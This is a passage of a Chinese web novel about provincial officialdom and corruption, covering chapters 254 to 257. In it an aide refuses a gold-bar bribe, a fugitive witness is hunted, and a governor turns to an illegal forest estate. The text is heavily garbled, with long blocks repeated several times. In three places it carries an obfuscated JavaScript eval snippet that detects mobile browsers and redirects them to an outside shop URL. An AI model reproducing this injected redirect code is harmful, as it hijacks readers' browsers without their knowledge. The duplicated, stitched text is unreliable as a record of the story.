“商业机密,和行业惯例,都不能凌驾于明文规定之上,而且,我们做私募穿透,完全是为了国资安全,全程保密,不会影响公司的资本运作。” 李承直视赵允的眼睛,一句一顿,掷地有声。 “李秘书,我知道您是按照孟良德的指示过来,能不能帮我跟孟省长商量一下,将核查时限延迟一周。 我也好跟私募那边做一个交涉,要求他们将报告细致化。” 赵允语气软了一些。 其中的一些暗箱操作,她心知肚明。 伟业资本的穿透核查,对她的计划有严重影响。 “您觉得呢?” 李承淡淡一笑,用反问的方式,表明了态度。 “那好吧。” 赵允知道,拖延无望,也不再抱有侥幸心理:“那也请您转达孟省长,资产置换是公司发展的重大规划,我同样不会让步!” “好,我会转达的。” 李承微笑点头:“那就不打扰赵董办公了。” ‘嗡嗡嗡’ 往回省政府的路上,李承的手机震动起来。 是宫庆鑫打来的电话。 “宫局。”李承接通电话,说。 “李处长,不负众望,伊莉莎松口了。” 宫庆鑫语气里带着喜悦,并调侃了一句:“这女人,嘴也是很硬的。” 自从上次跟李承聊完后,他抱着死马当活马医的想法,对伊莉莎进行了长达十天的审讯。 这十天里,对伊莉莎来说,度日如年。 李承在纪委接受过调查,白天在幽闭的空间里发呆,晚上得到休息后,就是突击严审。 几天下来,精神接近崩溃。 可李承所经历的,只是开胃小菜。 因为李承是公职人员,而李承当初没有涉案,迟早要官复原职。 所以,对待李承的手段,都是正规的流程。 伊莉莎是犯罪分子,她身上还藏着秘密,想要撬开她的嘴,手段自然会更多。 “嗯,什么结果?”李承追问。 “谢志强的确还活着!”宫庆鑫说。 “太好了!” 谢志强是关键人物,他是雷二利的核心骨干。 只要他能松口,找出雷二利的破绽,将不再是难题。 而谢志强也是 最可能松口的那位。 雷二利都已经安排人去杀他了,就算他再仗义,也不该去保护雷二利。 “我现在准备亲自带队,去将谢志强抓捕归案。”宫庆鑫道。 “好,我等你的好消息。” 赵金福已经落网,雷二利再被抓捕,关于花海集团的网,就算是铺开了。 忙碌一天,回到家,许梦今天做了饭菜,给李承留在锅里。 他热了一下饭菜,简单吃了一口,便开始用电脑审阅和修改下周一经济会议上的省长演讲稿。 ‘咚咚咚’ 正在他专注修改时,房门被敲响了。 李承走到门口,并没有开门,透过猫眼看,是一位身着职业制服的漂亮女人。 这个女人李承见过,是赵允的秘书。 李承打开房门,与对方保持一定距离。 “李处长您好,我是赵总的秘书,沈溪,今天下午我们见过。”沈溪笑容温柔,亲和力很强。 “这么晚来家里,有什么事情吗?”李承语气淡漠地问。 无事不登三宝殿,她挑选在这个时间来家里,什么目的,李承心知肚明。 “下午您从赵总办公室离开后,赵总也深有感触,特意召开了一次一致行动人会议。 会议一直开到一个小时前才结束,这不,赵总让我过来亲自跟您做个汇报。” 沈溪亮了一下手中的资料,笑嘻嘻地说。 “有什么工作汇报,明天到单位去讲吧,我累了。” 虽说伸手不打笑脸人,沈溪态度谦卑,李承不该拒绝。 可他已经被整怕了。 生怕让这个女人进屋后,又惹来一些不必要的麻烦。 工作事,就放在工作地点去谈,最为稳妥。 “李处长,不会耽误您太多时间的,五分钟的时间就好。”沈溪坚持道。 “这样,你把资料给我,我自己看,有什么疑惑我再联系你。”李承态度不变,继续坚持自己的理念。 “嗯那也好。” 沈溪犹豫片刻,点了下头,将厚重的文件夹递给李承。 入手后,李承顿时眉头蹙紧。 文件夹的重量,已然超过了它本身该有的重量。 他看向沈溪,沈溪的目光也盯着李承,脸上依旧带着笑容:“我们赵总说,您看过这个资料后,会满意的。” 说完,她转身准备走:“我就先告辞了,里面有我的名片,欢迎李处长随时联系。” “等一下。 ”李承喊住了她。 沈溪停下脚步,水灵灵的大眼睛看着李承。 李承当着她的面,直接打开了文件夹。 他将文件夹倒扣,用力抖了抖。 ‘当啷’ 里面沉重的东西从文件夹里掉落。 两根五百克的金条,摔在了地上,在这寂静的楼道里回荡。 “这就是你们赵总给我看的资料吗?”李承眼神冷了几分,质问道。 “这” 沈溪面露尴尬。 这不是她第一个替赵允送礼,也被拒绝过,却从未被拒绝得如此彻底。 这基本是毫不留情地揭开了她们贿赂的面貌。 “怎么回事呀?” 这时,刚好下班的许梦回到了家,她站在沈溪的旁边,不明所以地问。 李承没有回答她,而是将手中的文件夹塞进沈溪的手里:“告诉你们赵总,这种资料我受不起。 以后有什么工作上的事情,到省政府来谈!” “好,知道了。” 沈溪笑容收敛,她蹲下身捡起那两根金条,灰溜溜地离开了。 “这又是来送礼的?”许梦进了屋,问。 这早已经不是第一次有人跑到他们住所里**。 “嗯。”李承点头。 “出手倒是挺阔绰的。”许梦唏嘘一声。 两根金条,一千克,价值将近四十万。 她不敢想,如果李承要是参与**的话,不知道这大半年的时间要收多少钱。 “再阔绰,不该属于我们的东西,绝对不能要!” ”李承喊住了她。 沈溪停下脚步,水灵灵的大眼睛看着李承。 李承当着她的面,直接打开了文件夹。 他将文件夹倒扣,用力抖了抖。 ‘当啷’ 里面沉重的东西从文件夹里掉落。 两根五百克的金条,摔在了地上,在这寂静的楼道里回荡。 “这就是你们赵总给我看的资料吗?”李承眼神冷了几分,质问道。 “这” 沈溪面露尴尬。 这不是她第一个替赵允送礼,也被拒绝过,却从未被拒绝得如此彻底。 这基本是毫不留情地揭开了她们贿赂的面貌。 “怎么回事呀?” 这时,刚好下班的许梦回到了家,她站在沈溪的旁边,不明所以地问。 李承没有回答她,而是将手中的文件夹塞进沈溪的手里:“告诉你们赵总,这种资料我受不起。 以后有什么工作上的事情,到省政府来谈!” “好,知道了。” 沈溪笑容收敛,她蹲下身捡起那两根金条,灰溜溜地离开了。 “这又是来送礼的?”许梦进了屋,问。 这早已经不是第一次有人跑到他们住所里**。 “嗯。”李承点头。 “出手倒是挺阔绰的。”许梦唏嘘一声。 两根金条,一千克,价值将近四十万。 她不敢想,如果李承要是参与**的话,不知道这大半年的时间要收多少钱。 “再阔绰,不该属于我们的东西,绝对不能要!” ”李承喊住了她。 沈溪停下脚步,水灵灵的大眼睛看着李承。 李承当着她的面,直接打开了文件夹。 他将文件夹倒扣,用力抖了抖。 ‘当啷’ 里面沉重的东西从文件夹里掉落。 两根五百克的金条,摔在了地上,在这寂静的楼道里回荡。 “这就是你们赵总给我看的资料吗?”李承眼神冷了几分,质问道。 “这” 沈溪面露尴尬。 这不是她第一个替赵允送礼,也被拒绝过,却从未被拒绝得如此彻底。 这基本是毫不留情地揭开了她们贿赂的面貌。 “怎么回事呀?” 这时,刚好下班的许梦回到了家,她站在沈溪的旁边,不明所以地问。 李承没有回答她,而是将手中的文件夹塞进沈溪的手里:“告诉你们赵总,这种资料我受不起。 以后有什么工作上的事情,到省政府来谈!” “好,知道了。” 沈溪笑容收敛,她蹲下身捡起那两根金条,灰溜溜地离开了。 “这又是来送礼的?”许梦进了屋,问。 这早已经不是第一次有人跑到他们住所里**。 “嗯。”李承点头。 “出手倒是挺阔绰的。”许梦唏嘘一声。 两根金条,一千克,价值将近四十万。 她不敢想,如果李承要是参与**的话,不知道这大半年的时间要收多少钱。 “再阔绰,不该属于我们的东西,绝对不能要!” ”李承喊住了她。 沈溪停下脚步,水灵灵的大眼睛看着李承。 李承当着她的面,直接打开了文件夹。 他将文件夹倒扣,用力抖了抖。 ‘当啷’ 里面沉重的东西从文件夹里掉落。 两根五百克的金条,摔在了地上,在这寂静的楼道里回荡。 “这就是你们赵总给我看的资料吗?”李承眼神冷了几分,质问道。 “这” 沈溪面露尴尬。 这不是她第一个替赵允送礼,也被拒绝过,却从未被拒绝得如此彻底。 这基本是毫不留情地揭开了她们贿赂的面貌。 “怎么回事呀?” 这时,刚好下班的许梦回到了家,她站在沈溪的旁边,不明所以地问。 李承没有回答她,而是将手中的文件夹塞进沈溪的手里:“告诉你们赵总,这种资料我受不起。 以后有什么工作上的事情,到省政府来谈! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138654|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “好,知道了。” 沈溪笑容收敛,她蹲下身捡起那两根金条,灰溜溜地离开了。 “这又是来送礼的?”许梦进了屋,问。 这早已经不是第一次有人跑到他们住所里**。 “嗯。”李承点头。 “出手倒是挺阔绰的。”许梦唏嘘一声。 两根金条,一千克,价值将近四十万。 她不敢想,如果李承要是参与**的话,不知道这大半年的时间要收多少钱。 “再阔绰,不该属于我们的东西,绝对不能要!” ”李承喊住了她。 沈溪停下脚步,水灵灵的大眼睛看着李承。 李承当着她的面,直接打开了文件夹。 他将文件夹倒扣,用力抖了抖。 ‘当啷’ 里面沉重的东西从文件夹里掉落。 两根五百克的金条,摔在了地上,在这寂静的楼道里回荡。 “这就是你们赵总给我看的资料吗?”李承眼神冷了几分,质问道。 “这” 沈溪面露尴尬。 这不是她第一个替赵允送礼,也被拒绝过,却从未被拒绝得如此彻底。 这基本是毫不留情地揭开了她们贿赂的面貌。 “怎么回事呀?” 这时,刚好下班的许梦回到了家,她站在沈溪的旁边,不明所以地问。 李承没有回答她,而是将手中的文件夹塞进沈溪的手里:“告诉你们赵总,这种资料我受不起。 以后有什么工作上的事情,到省政府来谈!” “好,知道了。” 沈溪笑容收敛,她蹲下身捡起那两根金条,灰溜溜地离开了。 “这又是来送礼的?”许梦进了屋,问。 这早已经不是第一次有人跑到他们住所里**。 “嗯。”李承点头。 “出手倒是挺阔绰的。”许梦唏嘘一声。 两根金条,一千克,价值将近四十万。 她不敢想,如果李承要是参与**的话,不知道这大半年的时间要收多少钱。 “再阔绰,不该属于我们的东西,绝对不能要!” ”李承喊住了她。 沈溪停下脚步,水灵灵的大眼睛看着李承。 李承当着她的面,直接打开了文件夹。 他将文件夹倒扣,用力抖了抖。 ‘当啷’ 里面沉重的东西从文件夹里掉落。 两根五百克的金条,摔在了地上,在这寂静的楼道里回荡。 “这就是你们赵总给我看的资料吗?”李承眼神冷了几分,质问道。 “这” 沈溪面露尴尬。 这不是她第一个替赵允送礼,也被拒绝过,却从未被拒绝得如此彻底。 这基本是毫不留情地揭开了她们贿赂的面貌。 “怎么回事呀?” 这时,刚好下班的许梦回到了家,她站在沈溪的旁边,不明所以地问。 李承没有回答她,而是将手中的文件夹塞进沈溪的手里:“告诉你们赵总,这种资料我受不起。 以后有什么工作上的事情,到省政府来谈!” “好,知道了。” 沈溪笑容收敛,她蹲下身捡起那两根金条,灰溜溜地离开了。 “这又是来送礼的?”许梦进了屋,问。 这早已经不是第一次有人跑到他们住所里**。 “嗯。”李承点头。 “出手倒是挺阔绰的。”许梦唏嘘一声。 两根金条,一千克,价值将近四十万。 她不敢想,如果李承要是参与**的话,不知道这大半年的时间要收多少钱。 “再阔绰,不该属于我们的东西,绝对不能要!” ”李承喊住了她。 沈溪停下脚步,水灵灵的大眼睛看着李承。 李承当着她的面,直接打开了文件夹。 他将文件夹倒扣,用力抖了抖。 ‘当啷’ 里面沉重的东西从文件夹里掉落。 两根五百克的金条,摔在了地上,在这寂静的楼道里回荡。 “这就是你们赵总给我看的资料吗?”李承眼神冷了几分,质问道。 “这” 沈溪面露尴尬。 这不是她第一个替赵允送礼,也被拒绝过,却从未被拒绝得如此彻底。 这基本是毫不留情地揭开了她们贿赂的面貌。 “怎么回事呀?” 这时,刚好下班的许梦回到了家,她站在沈溪的旁边,不明所以地问。 李承没有回答她,而是将手中的文件夹塞进沈溪的手里:“告诉你们赵总,这种资料我受不起。 以后有什么工作上的事情,到省政府来谈!” “好,知道了。” 沈溪笑容收敛,她蹲下身捡起那两根金条,灰溜溜地离开了。 “这又是来送礼的?”许梦进了屋,问。 这早已经不是第一次有人跑到他们住所里**。 “嗯。”李承点头。 “出手倒是挺阔绰的。”许梦唏嘘一声。 两根金条,一千克,价值将近四十万。 她不敢想,如果李承要是参与**的话,不知道这大半年的时间要收多少钱。 “再阔绰,不该属于我们的东西,绝对不能要!” 第255章 毁林违建 “放心好啦,我知道你廉政,等嫁给你之后,我也会做一个清廉夫人,绝不给你添麻烦。” 许梦抱着李承的胳膊,亲密地拉着他走到客厅沙发坐下:“别生气,气坏身体不值得。” “这有什么好生气的,早就习惯了。”李承拿起茶几上的水杯,喝了一口。 “老公,有件事情,我想跟你说一下。”许梦说话时,从包中取出手机。 “嗯,你说。” “我最近总能收到私信,还有评论区粉丝的留言,是关于《东江问政》的题材问题。 我觉得这件事搞起来,热度会很大,想让你参谋参谋,看看有没有可行性。” 许梦翻找出那条视频下的热评,递给李承看。 李承接过手机,目光定格在一楼的评论上。 ‘花海集团的天湖庄园非法占地,梦姐要是敢问政天湖,我就愿称梦姐为东江第一女神!’ 就是这样一条简简单单的调侃,却有上千人点赞,回复这条评论的就有上百条。 下面的回复,李承也认真看了一眼。 大致分为两派。 激进派派认为,《东江问政》节目是省长孟良德提出来的,只要关注度够高,许梦跟孟良德把话题传递上去,解决天湖庄园就是小意思。 这一派的群体,偏向于年轻化。 在这些人眼中,只要政府干涉,就没有解决不了的违法问题。 只要**够大,引起民众关注度够高,别说是天湖庄园,就是花海集团都能一窝端。 另一方保守派,年纪多数偏大,都是些见过社会风风雨雨的人,相对悲观,也更理性。 在他们眼里,花海集团背景雄厚,上面有领导庇护,就算是非法占地,也绝不可能拆除。 其中不乏一些小有成就的本地人,更是道出天湖庄园就是用来公关领导的,那是领导们的享乐圣地。 其中,更是有偏激者认为,孟良德都可能是天湖庄园的常客! “老公,你觉得天湖庄园这件事,能不能上节目?”许梦侧过头,望着李承的脸,柔声询问。 她当然希望天湖庄园的事件,能够引起关注,在《东江问政》节目上得到公开处刑。 这样一来,她借着这个热度,就能让个人账号涨一波粉丝。 她敢说敢做,不怕得罪人的人设,也将更加坚固。 但她只是一个主持人,她没有决定节目的能力,更没有调查天湖庄园的权力。 所以,她才把这件事 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 告诉给了李承。 李承是孟良德的身边人,只要李承愿意向孟良德转达这个情况,这件事就有操作的空间。 “嗯最近老板的工作很忙,等有机会的吧,我跟他提一下。李承道。 他知道,许梦是想借助他的职位力量,达到自媒体账户涨粉的目的。 李承不是一个死板的人。 违法占地若是实情,过错方在花海集团,调查和揭露都属于合法合规。 既能讨得许梦欢心,又不违背原则,这种事他愿意做的。 “老公你真好。 许梦在李承的侧脸上吻了一口,笑容灿烂。 “对了,周末中午你有时间吗?李承问。 “周末我约了朋友去做头发,怎么了?许梦美眸闪烁,问。 “中午去做? “中午跟她吃个饭,下午去做,四五点钟就结束了。 “推掉吧,周末我有个朋友想认识你,我们中午请她吃饭。李承态度认真,并非跟她商量。 “不好吧,我们都约定好了,很重要的朋友吗? 许梦面露难色,她是一个脸皮薄的人,不太会拒绝,更不好意思失约。 “嗯,很重要,她点名要见你。李承道。 “男生女生?我见过吗?许梦好奇地问。 “女生,你没见过,但她是你的粉丝。 想约许梦和李承的女生,不是别人,正是许诗悦。 上次两人加了微信,就约定了这周末中午一起吃饭,对方还特意强调带着许梦。 许诗悦是裴国弘老**的外孙女,这个人脉,外人想巴结都巴结不上。 对方主动邀约,李承自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145824|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不会错失这个机会。 但他也没告诉许梦对方的身份,而是改变了策略,用一种欲擒故纵的调侃方式。 李承摆了摆手,说:“既然你约好了朋友,那就算了,我单独跟她去吃吧。 说完,李承翻出许诗悦的微信,特意点开了朋友圈。 朋友圈有许诗悦的美照,他故意给许梦看了几眼后,假装按下语音输入键:“诗悦,许梦她周末约了朋友,我单独请你吃饭吧,完事再看个电影嘶. 李承话没说完,许梦双指在他的大腿内侧狠狠捏了一把,疼得李承呲牙咧嘴。 险些把这条语音发送出去,好在他收手及时。 “谁说我不去了?我去,我才不可能给你和美女单独接触的机会,还想看电影,想都不要想! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 许梦轻哼一声,吃醋地说。 她知道李承是跟她在开玩笑,但她还会忍不住的生气吃醋。 “那就一言为定了。” 李承笑嘻嘻将许梦搂在怀里,道。 “我怎么不知道你还有这个朋友,以前没听你提起过呢?”许梦试探地问。 对于李承身边的任何美女,她都保持着高度警惕。 “刚认识不久。” “什么时候加的微信,你背着我偷偷接触女生,哼!”许梦拉起李承的胳膊,在上面狠狠咬了一口。 “这个女生身份不一般,别多问,总之,她愿意加我,也是知道我是你的男朋友,她被你节目上的人格魅力给吸引。” 李承这番话,说得让许梦很满意,她便不再计较。 李承并不打算告诉许梦对方的身份。 如果她知道对方是老**的外孙女,相处时,就会伪装真实的自己,装出一副知书达理,懂礼貌,懂分寸的样子。 那样做作的许梦,不是真实的许梦,也不会是许诗悦想要接触的许梦。 许诗悦是一个古灵精怪的姑娘,许梦的身上也有那种特质。 许梦只有展现出真实的自己,她们之间才能相处得轻松自然,才可能成为朋友。 第256章 冷板凳 周四。 鲁林来到省政府,向孟良德汇报工作。 给两个人沏上茶水后,李承坐在侧边,进行工作记录。 “省长,赵金虎在听说赵金福已经落网后,选择了招供。 长廷县五岗镇张家屯雄黄矿的非法开采,其背后就是赵金福在一手运作。 赵金福就是雄黄矿最大的幕后老板,在矿上非法获利的八成,赵金虎通过加密货币的交易方式,付给赵金福。 对此,赵金虎提供了交易记录。” 鲁林汇报的同时,将证据资料递到孟良德的手中。 正所谓墙倒众人推,亲兄弟也是如此。 不要对人性报以过高的期待,永远要警惕人性的幽暗。 在个人利益面前,手足兄弟同样经不起考验。 赵金虎之前愿意抗雷,不是出于兄弟情,是他认为,他的亲哥是汉江检察院的党组**,只要赵金福在,风头过去了,他就能出来。 可现在赵金福被抓了,他很清楚,他继续抗雷只会面临刑期的延长。 为了早日脱离牢狱之灾,他选择了出卖亲哥,换取一个宽大处理。 “还有,当日**李秘书,就是赵金福托关系做的,还给对方拿了五十万的好处费。 这笔钱,也是通过赵金虎的账户转出,以个人信贷的名义流入到一家金融公司。 这家金融公司的老板叫陈大龙,目前已经被市局羁押。”鲁林道。 抓捕陈大龙是宫庆鑫的调查和努力。 而鲁林查出这起案件与陈大龙有关,是在抓捕之后,可对此,鲁林只字未提。 这就会给孟良德一种错觉,市局是听从了他的吩咐后,才开始的抓捕行动。 在李承看来,这有抢功的行为。 “这个赵金福,胆子倒是不小嘛,徇私枉法,**敲诈的事情都做了一个遍。 像这种败类,居然在司法部门工作这么久,在他手里的**错案,不知道要有多少起!” 孟良德将手中的资料摔在茶几上,冷声问:“他跟花海集团的勾结,查出来多少?” “其他的罪行,他都认,唯独关于花海集团的事情,他一个字都不肯说。” 鲁林叹了一口气,说。 以赵金福目前的罪行来判,无期徒刑跑不了。 一般交代到了这种程度,多半的**,也就会全盘托出,争取一个戴罪立功。 可赵金福却死活一个字不肯说,无论纪委和**厅想了什么办法,用 了什么手段,他都一字不提。 “李美娇是个很有手段的女人。” 孟良德眼眸深邃,喃喃自语了一句。 “关于花海集团,有其他线索吗?”孟良德问。 他这次回京城,在家庭会议中除了跟岳父商讨回京任职的事情,还从岳父的口中得知了一个消息。 真正与孟良德在东江较量的人,不止是本地派,其中,更有花海集团背后的周公子力量。 那位,可是京城出了名的公子哥。 而跟花海集团的对抗,孟良德也已经到了骑虎难下的阶段。 如果他不抗争到底,那就是像花海集团及其背后势力妥协,这种事情,孟良德做不出来。 更何况,花海集团及其背后势力,与孟良德的发展规划是敌对关系。 一旦妥协,他这个封疆大吏将处处受限,很难干出一些丰功伟业。 孟良德对于发展,是有执念了,他励志于实现自身的**价值。 他宁愿回京城任职,也不愿受限。 “花海集团没什么线索,李美娇本人,倒是有些消息。”鲁林道。 “什么消息?”孟良德问。 “据李雪忠的妻子说,这个李美娇曾认过李雪忠做干爹,但两人之间有些不正当关系,还有利益往来。 我觉得可以从贿赂方面下手,看看能不能先将李美娇控制起来。”鲁林道。 这个消息的来源,不是他调查出来的,而是张英双告知给他的。 张英双是马洪波的身边人,鲁林同样是马洪波的人。 这个消息马洪波愿意曝出来,就是想展现鲁林的个人能力,让鲁林对孟良德的靠拢。 以此,来换取下次鲁林提副省长时,孟良德的支持。 闻言,孟良德陷入沉思。 他当然猜到了对方什么心思。 于是,孟良德摆了摆手:“现在不适合再追究李雪忠的问题,这是洪波同志的意见。” “嗯,那好。” 鲁林点了点头,说:“目前调查到的就这些了。” “嗯,辛苦你了,没其他事情你就回去吧。” “好的孟省长。” 鲁林走后,李承看着沉思中的孟良德,觉得这是一个切入花海集团话题的机会。 “省长,我最近接到群众举报,称花海集团的天湖庄园,是非法毁林占地。 我也向林业局了解过情况,确认这块地是非法占地,没有审批手续。”李承道。 天湖 庄园,那是汉江的公关天堂。 环境一流,地点隐秘,占地辽阔,内设跑马场,高尔夫场,酒庄,人工湖,温泉酒店等。 当初建设天湖庄园时,李美娇走遍了整个汉江郊区。 作为公关场合,它既要保证私密性,又对天然环境有苛刻要求,还要保证距离市区不能太远。 而满足这些条件的,只有如今天湖庄园这块地。 但这块地,是生态保护林区,是红线区,想要在这里建设天湖庄园,就连当时的李雪忠也不敢擅自批地,风险太大。 于是,李美娇以公益林抚育的方式,拿下承包权。 在上面盖起了天湖庄园。 李雪忠带头睁一只眼闭一只眼,手下人自然不敢多管,就此打造了这个汉江市的公关天堂。 再后来,被请到天湖庄园公关的领导多了,进出过那里的领导,也就都成为了天湖庄园的保护伞。 “到现在为止,只听过天湖庄园的大名,还未见识过它的面貌,这个天湖庄园在什么位置?” 孟良德点燃一根香烟,问。 “在凤凰岭,具体位置我也不清楚。”李承只知道一个大概。 闻言,孟良德冷笑打趣:“呵呵呵看来你跟我一样,都坐了这些商人的冷板凳啊。” 庄园,那是汉江的公关天堂。 环境一流,地点隐秘,占地辽阔,内设跑马场,高尔夫场,酒庄,人工湖,温泉酒店等。 当初建设天湖庄园时,李美娇走遍了整个汉江郊区。 作为公关场合,它既要保证私密性,又对天然环境有苛刻要求,还要保证距离市区不能太远。 而满足这些条件的,只有如今天湖庄园这块地。 但这块地,是生态保护林区,是红线区,想要在这里建设天湖庄园,就连当时的李雪忠也不敢擅自批地,风险太大。 于是,李美娇以公益林抚育的方式,拿下承包权。 在上面盖起了天湖庄园。 李雪忠带头睁一只眼闭一只眼,手下人自然不敢多管,就此打造了这个汉江市的公关天堂。 再后来,被请到天湖庄园公关的领导多了,进出过那里的领导,也就都成为了天湖庄园的保护伞。 “到现在为止,只听过天湖庄园的大名,还未见识过它的面貌,这个天湖庄园在什么位置?” 孟良德点燃一根香烟,问。 “在凤凰岭,具体位置我也不清楚。”李承只知道一个大概。 闻言,孟良德冷笑打趣:“呵呵呵看来你跟我一样,都坐了这些商人的冷板凳啊。” 庄园,那是汉江的公关天堂。 环境一流,地点隐秘,占地辽阔,内设跑马场,高尔夫场,酒庄,人工湖,温泉酒店等。 当初建设天湖庄园时,李美娇走遍了整个汉江郊区。 作为公关场合,它既要保证私密性,又对天然环境有苛刻要求,还要保证距离市区不能太远。 而满足这些条件的,只有如今天湖庄园这块地。 但这块地,是生态保护林区,是红线区,想要在这里建设天湖庄园,就连当时的李雪忠也不敢擅自批地,风险太大。 于是,李美娇以公益林抚育的方式,拿下承包权。 在上面盖起了天湖庄园。 李雪忠带头睁一只眼闭一只眼,手下人自然不敢多管,就此打造了这个汉江市的公关天堂。 再后来,被请到天湖庄园公关的领导多了,进出过那里的领导,也就都成为了天湖庄园的保护伞。 “到现在为止,只听过天湖庄园的大名,还未见识过它的面貌,这个天湖庄园在什么位置?” 孟良德点燃一根香烟,问。 “在凤凰岭,具体位置我也不清楚。”李承只知道一个大概。 闻言,孟良德冷笑打趣:“呵呵呵看来你跟我一样,都坐了这些商人的冷板凳啊。” 庄园,那是汉江的公关天堂。 环境一流,地点隐秘,占地辽阔,内设跑马场,高尔夫场,酒庄,人工湖,温泉酒店等。 当初建设天湖庄园时,李美娇走遍了整个汉江郊区。 作为公关场合,它既要保证私密性,又对天然环境有苛刻要求,还要保证距离市区不能太远。 而满足这些条件的,只有如今天湖庄园这块地。 但这块地,是生态保护林区,是红线区,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145825|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要在这里建设天湖庄园,就连当时的李雪忠也不敢擅自批地,风险太大。 于是,李美娇以公益林抚育的方式,拿下承包权。 在上面盖起了天湖庄园。 李雪忠带头睁一只眼闭一只眼,手下人自然不敢多管,就此打造了这个汉江市的公关天堂。 再后来,被请到天湖庄园公关的领导多了,进出过那里的领导,也就都成为了天湖庄园的保护伞。 “到现在为止,只听过天湖庄园的大名,还未见识过它的面貌,这个天湖庄园在什么位置?” 孟良德点燃一根香烟,问。 “在凤凰岭,具体位置我也不清楚。”李承只知道一个大概。 闻言,孟良德冷笑打趣:“呵呵呵看来你跟我一样,都坐了这些商人的冷板凳啊。” 庄园,那是汉江的公关天堂。 环境一流,地点隐秘,占地辽阔,内设跑马场,高尔夫场,酒庄,人工湖,温泉酒店等。 当初建设天湖庄园时,李美娇走遍了整个汉江郊区。 作为公关场合,它既要保证私密性,又对天然环境有苛刻要求,还要保证距离市区不能太远。 而满足这些条件的,只有如今天湖庄园这块地。 但这块地,是生态保护林区,是红线区,想要在这里建设天湖庄园,就连当时的李雪忠也不敢擅自批地,风险太大。 于是,李美娇以公益林抚育的方式,拿下承包权。 在上面盖起了天湖庄园。 李雪忠带头睁一只眼闭一只眼,手下人自然不敢多管,就此打造了这个汉江市的公关天堂。 再后来,被请到天湖庄园公关的领导多了,进出过那里的领导,也就都成为了天湖庄园的保护伞。 “到现在为止,只听过天湖庄园的大名,还未见识过它的面貌,这个天湖庄园在什么位置?” 孟良德点燃一根香烟,问。 “在凤凰岭,具体位置我也不清楚。”李承只知道一个大概。 闻言,孟良德冷笑打趣:“呵呵呵看来你跟我一样,都坐了这些商人的冷板凳啊。” 庄园,那是汉江的公关天堂。 环境一流,地点隐秘,占地辽阔,内设跑马场,高尔夫场,酒庄,人工湖,温泉酒店等。 当初建设天湖庄园时,李美娇走遍了整个汉江郊区。 作为公关场合,它既要保证私密性,又对天然环境有苛刻要求,还要保证距离市区不能太远。 而满足这些条件的,只有如今天湖庄园这块地。 但这块地,是生态保护林区,是红线区,想要在这里建设天湖庄园,就连当时的李雪忠也不敢擅自批地,风险太大。 于是,李美娇以公益林抚育的方式,拿下承包权。 在上面盖起了天湖庄园。 李雪忠带头睁一只眼闭一只眼,手下人自然不敢多管,就此打造了这个汉江市的公关天堂。 再后来,被请到天湖庄园公关的领导多了,进出过那里的领导,也就都成为了天湖庄园的保护伞。 “到现在为止,只听过天湖庄园的大名,还未见识过它的面貌,这个天湖庄园在什么位置?” 孟良德点燃一根香烟,问。 “在凤凰岭,具体位置我也不清楚。”李承只知道一个大概。 闻言,孟良德冷笑打趣:“呵呵呵看来你跟我一样,都坐了这些商人的冷板凳啊。” 庄园,那是汉江的公关天堂。 环境一流,地点隐秘,占地辽阔,内设跑马场,高尔夫场,酒庄,人工湖,温泉酒店等。 当初建设天湖庄园时,李美娇走遍了整个汉江郊区。 作为公关场合,它既要保证私密性,又对天然环境有苛刻要求,还要保证距离市区不能太远。 而满足这些条件的,只有如今天湖庄园这块地。 但这块地,是生态保护林区,是红线区,想要在这里建设天湖庄园,就连当时的李雪忠也不敢擅自批地,风险太大。 于是,李美娇以公益林抚育的方式,拿下承包权。 在上面盖起了天湖庄园。 李雪忠带头睁一只眼闭一只眼,手下人自然不敢多管,就此打造了这个汉江市的公关天堂。 再后来,被请到天湖庄园公关的领导多了,进出过那里的领导,也就都成为了天湖庄园的保护伞。 “到现在为止,只听过天湖庄园的大名,还未见识过它的面貌,这个天湖庄园在什么位置?” 孟良德点燃一根香烟,问。 “在凤凰岭,具体位置我也不清楚。”李承只知道一个大概。 闻言,孟良德冷笑打趣:“呵呵呵看来你跟我一样,都坐了这些商人的冷板凳啊。” 第257章 夜访天湖庄园 “冷板凳可以坐,热炕头可万万不敢,哈哈哈。 李承也顺着孟良德的打趣,玩笑了一句。 坐上天湖庄园的热炕头,那就是踏过了纪律的防火墙。 “打听打听位置,晚上我们去转一转,我倒是想看看,这个天湖庄园到底哪里好,让这么多官员流连忘返。 孟良德弹了弹烟灰,玩心大起。 孟良德也是人,人都会有好奇心。 从他落地东江省的那天起,天湖庄园的大名就传进了他的耳朵里。 但这一年来,他还从未去过。 “嗯,好。 